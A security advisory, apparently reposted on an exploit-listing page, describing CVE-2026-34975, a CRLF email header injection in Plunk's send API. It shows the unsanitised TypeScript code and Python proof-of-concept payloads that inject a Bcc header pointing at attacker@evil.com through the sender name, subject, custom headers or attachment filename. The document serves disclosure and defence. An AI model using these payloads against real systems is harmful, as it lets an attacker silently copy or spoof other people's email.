Share
## https://sploitus.com/exploit?id=625A1290-B999-5DE8-A515-F82DE126BAE4
# CVE-2026-34975 โ€” CRLF Email Header Injection in Plunk via raw MIME construction

**Severity**: High (CVSS 8.5)
**CWE**: CWE-93 โ€” Improper Neutralization of CRLF Sequences ('CRLF Injection')
**Affected**: `useplunk/plunk` (all versions prior to fix)
**Advisory**: GHSA
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-34975

---

## TL;DR

Plunk's `POST /v1/send` endpoint constructs a raw MIME email message by interpolating user-supplied fields (`from.name`, `subject`, custom headers, attachment filenames) directly into a template string without CRLF (`\r\n`) sanitization. An authenticated API user can inject arbitrary email headers โ€” including `Bcc` โ€” to silently redirect email copies to attacker-controlled addresses.

---

## Affected component

**File**: `apps/api/src/services/SESService.ts`, lines 137โ€“151

```typescript
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} \r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value not sanitized
}

// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
```

**Zod schema** (`packages/shared/src/schemas/index.ts`) โ€” no CRLF validation:

```typescript
headers: z.record(z.string().max(998)).optional()   // no \r\n check
from: { name: z.string().optional() }               // no \r\n check
subject: z.string().min(1).max(998)                 // no \r\n check
filename: z.string().min(1).max(255)                // no \r\n check
```

---

## Root cause

Raw MIME construction requires that every user-supplied value be stripped of `\r\n` before interpolation. Plunk builds the message with template literals and does not sanitize any of the four injectable fields. SMTP parsers interpret `\r\n` as a header boundary, so injecting `\r\nBcc: attacker@evil.com` into `from.name` adds a real `Bcc` header to the outgoing message.

---

## PoC

See [`poc.py`](./poc.py) for a full demonstration with four injection vectors.

**Core payload โ€” Bcc injection via `from.name`:**

```python
payload = {
    "to": "victim@example.com",
    "subject": "Legit email",
    "body": "Nothing to see here.",
    "from": {
        "name": "Legit Sender\r\nBcc: attacker@evil.com",
        "email": "verified@yourdomain.com",
    },
}
```

Raw MIME produced by SES:
```
From: Legit Sender
Bcc: attacker@evil.com 
To: victim@example.com
Subject: Legit email
```

SES delivers a silent copy to `attacker@evil.com` with every email sent through the compromised API key.

**Other injection vectors:**
- `subject`: `"Legit Subject\r\nBcc: attacker@evil.com"`
- Custom header value: `{"X-Custom": "value\r\nBcc: attacker@evil.com"}`
- Attachment filename: MIME boundary injection

---

## Impact

1. **Silent email redirection** โ€” BCC any outgoing email to an attacker-controlled address
2. **Email spoofing** โ€” override `Reply-To`, `Return-Path`, `Sender` headers
3. **MIME structure corruption** โ€” inject arbitrary MIME parts via attachment filename
4. Requires only a valid Plunk API key and a verified sender domain โ€” standard authenticated access

---

## Timeline

- **Discovery**: 2026-03-xx
- **Reported**: GHSA private advisory
- **CVE published**: CVE-2026-34975